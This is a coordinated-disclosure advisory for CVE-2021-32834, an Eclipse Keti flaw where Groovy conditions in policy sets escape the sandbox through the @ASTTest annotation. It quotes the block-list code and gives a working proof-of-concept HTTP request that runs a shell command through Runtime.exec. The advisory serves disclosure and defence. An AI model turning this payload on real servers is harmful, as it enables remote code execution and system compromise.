August 30, 2021

GHSL-2021-063: Arbitrary code execution in Eclipse Keti - CVE-2021-32834

Alvaro Munoz

Coordinated Disclosure Timeline

- 2021-04-27: Reported to security@eclipse.org
- 2021-07-26: Disclosure deadline is reached.
- 2021-08-16: Report is made public in Eclipse system.
- 2021-09-01: Disclosing as per our disclosure policy.

Summary

A user able to create Policy Sets can run arbitrary code by sending malicious Groovy scripts which will escape the configured Groovy sandbox.

Product

Eclipse Keti

Tested Version

Latest commit at the date of reporting (a1c8dbe)

Details

Issue 1: Arbitrary Groovy script evaluation

The PolicySet object received by `createPolicySet` in `PolicyManagementController` flows into a Groovy script evaluation.

```
    @RequestMapping(method = PUT, value = POLICY_SET_URL, consumes = MediaType.APPLICATION_JSON_VALUE)
    public ResponseEntity<String> createPolicySet(@RequestBody final PolicySet policySet,
            @PathVariable("policySetId") final String policySetId) {

        validatePolicyIdOrFail(policySet, policySetId);

        try {
            this.service.upsertPolicySet(policySet);
            URI policySetUri = UriTemplateUtils.expand(POLICY_SET_URL, "policySetId:" + policySet.getName());
            return created(policySetUri.getPath());
        } catch (PolicyManagementException e) {
            throw new RestApiException(HttpStatus.UNPROCESSABLE_ENTITY, e.getMessage(), e);
        }
    }
```

`this.service.upsertPolicySet(policySet);` is defined in `PolicyManagementServiceImpl`

```
    public void upsertPolicySet(final PolicySet policySet) {

        String policySetName = policySet.getName();

        try {
            ZoneEntity zone = this.zoneResolver.getZoneEntityOrFail();

            validatePolicySet(zone, policySet);

            String policySetPayload = this.jsonUtils.serialize(policySet);
            upsertPolicySetInTransaction(policySetName, zone, policySetPayload);
        } catch (Exception e) {
            handleException(e, policySetName);
        }
    }
```

`validatePolicySet(zone, policySet);` ends up calling `validatePolicySet` on `PolicySetValidatorImpl`

```
    @Override
    public void validatePolicySet(final PolicySet policySet) {
        validateSchema(policySet);
        for (Policy p : policySet.getPolicies()) {
            validatePolicyConditions(p.getConditions());
            validatePolicyActions(p);
        }
    }
```

Since PolicySet conditions are basically Groovy expressions, `validatePolicyConditions(p.getConditions());` will end up parsing them as Groovy scripts:

```
  ConditionScript compiledScript = conditionCache.get(script);
  if (compiledScript == null) {
      Script groovyScript = this.shell.parse(script);
      compiledScript = new GroovyConditionScript(groovyScript);
      conditionCache.put(script, compiledScript);
  }
```

Arbitrary evaluation of Groovy expressions allow attackers to run arbitrary code.

Issue 2: Groovy Sandbox escape

The Groovy Shell used to parse and evaluate the PolicySet conditions is sandboxed by:

1. Using a `SecureASTCustomizer` which disables method definitions, disallow all imports, set an allow-list for constant type classes and receiver classes.

```
    private static SecureASTCustomizer createSecureASTCustomizer() {
        SecureASTCustomizer secureASTCustomizer = new SecureASTCustomizer();
        // Allow closures.
        secureASTCustomizer.setClosuresAllowed(true);
        // Disallow method definition.
        secureASTCustomizer.setMethodDefinitionAllowed(false);
        // Disallow all imports by setting a blank whitelist.
        secureASTCustomizer.setImportsWhitelist(Collections.emptyList());
        // Disallow star imports by setting a blank whitelist.
        secureASTCustomizer.setStarImportsWhitelist(Arrays.asList(
                "org.crsh.command.*", "org.crsh.cli.*", "org.crsh.groovy.*",
                "org.eclipse.keti.acs.commons.policy.condition.*"));
        // Set white list for constant type classes.
        secureASTCustomizer.setConstantTypesClassesWhiteList(Arrays.asList(
                Boolean.class, boolean.class, Collection.class, Double.class, double.class, Float.class,
                float.class, Integer.class, int.class, Long.class, long.class, Object.class, String.class));
        secureASTCustomizer.setReceiversClassesWhiteList(Arrays.asList(
                Boolean.class, Collection.class, Integer.class, Iterable.class, Object.class, Set.class,
                String.class));
        return secureASTCustomizer;
    }
```

1. Configures an AST transformation customizer which relies on [GroovySecureExtension] to further limit which method calls are allowed:

```
    private static ASTTransformationCustomizer createASTTransformationCustomizer() {

        return new ASTTransformationCustomizer(singletonMap("extensions",
                singletonList("org.eclipse.keti.acs.commons.policy.condition.groovy.GroovySecureExtension")),
                CompileStatic.class);
    }
```

This extension uses both, an allow-list and block-list to limit variable access and method calls to a small set of known good variables/methods:

```
    public void onMethodSelection(final Expression expression, final MethodNode target) {
        // First the white list.
        if ((!"org.eclipse.keti.acs.commons.policy.condition.AbstractHandler"
                .equals(target.getDeclaringClass().getName()))
                && (!"org.eclipse.keti.acs.commons.policy.condition.AbstractHandlers"
                .equals(target.getDeclaringClass().getName()))
                && (!"org.eclipse.keti.acs.commons.policy.condition.ResourceHandler"
                .equals(target.getDeclaringClass().getName()))
                && (!"org.eclipse.keti.acs.commons.policy.condition.SubjectHandler"
                .equals(target.getDeclaringClass().getName()))
                && (!"org.eclipse.keti.acs.commons.policy.condition.groovy.AttributeMatcher"
                .equals(target.getDeclaringClass().getName())) && (!"java.lang.Boolean"
                .equals(target.getDeclaringClass().getName())) && (!"java.lang.Integer"
                .equals(target.getDeclaringClass().getName())) && (!"java.lang.Iterable"
                .equals(target.getDeclaringClass().getName())) && (!"java.lang.Object"
                .equals(target.getDeclaringClass().getName()))
                // This means we allow collections of type Object.
                && (!"[Ljava.lang.Object;".equals(target.getDeclaringClass().getName())) && (!"java.lang.String"
                .equals(target.getDeclaringClass().getName())) && (!"java.util.Collection"
                .equals(target.getDeclaringClass().getName())) && (!"java.util.Set"
                .equals(target.getDeclaringClass().getName()))) {
            addStaticTypeError("Method call for '" + target.getDeclaringClass().getName() + "' class is not allowed!",
                    expression);
        }

        // Then the black list.
        if ("java.lang.System".equals(target.getDeclaringClass().getName())) {
            addStaticTypeError("Method call for 'java.lang.System' class is not allowed!", expression);
        }
        if ("groovy.util.Eval".equals(target.getDeclaringClass().getName())) {
            addStaticTypeError("Method call for 'groovy.util.Eval' class is not allowed!", expression);
        }
        if ("java.io".equals(target.getDeclaringClass().getName())) {
            addStaticTypeError("Method call for 'java.io' package is not allowed!", expression);
        }
        if ("execute".equals(target.getName())) {
            addStaticTypeError("Method call 'execute' is not allowed!", expression);
        }
    }
```

However, as explained in Orange Tsai's blog post, Groovy meta-programming can be used to bypass these protections. For example, the `@ASTTest` annotation allows developers to assert other AST transformations. Since it is an annotation, it is not visited by the `onMethodSelection` method of `ASTTransformationCustomizer` and the assertion call is not subject to further inspection. Therefore, it is possible to run arbitrary code from these assertions, for example:

```
@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")}) def x
```

PoC request

```
PUT /v1/policy-set/default
Authorization: bearer <token>
Accept: application/json
Content-Type: application/json
Predix-Zone-Id: demo

{
  "name" : "default",
  "policies" : [
    {
      "name" : "Analysts can access engines if they belong to the same group.",
      "target" : {
        "resource" : {
          "name" : "Engine",
          "uriTemplate" : "/engines/{engine_id}"
        },
        "action" : "GET",
        "subject" : {
          "name" : "Analysts",
          "attributes" : [
            {
              "issuer" : "https://acs.predix.io",
              "name"   : "role",
              "value"  : "analyst"
            }
          ]
        }
      },
      "conditions" : [
        {
          "name"      : "is a member of the same group",
          "condition" : "@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec('touch /tmp/pwned-keti')}) def x"
        }
      ],
      "effect" : "PERMIT"
    },
    {
      "name" : "Deny all other requests.",
      "effect" : "DENY"
    }
  ]
}
```

Impact

These issue may lead to post-authentication Remote Code execution.

CVE

- CVE-2021-32834

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-063` in any communication regarding this issue.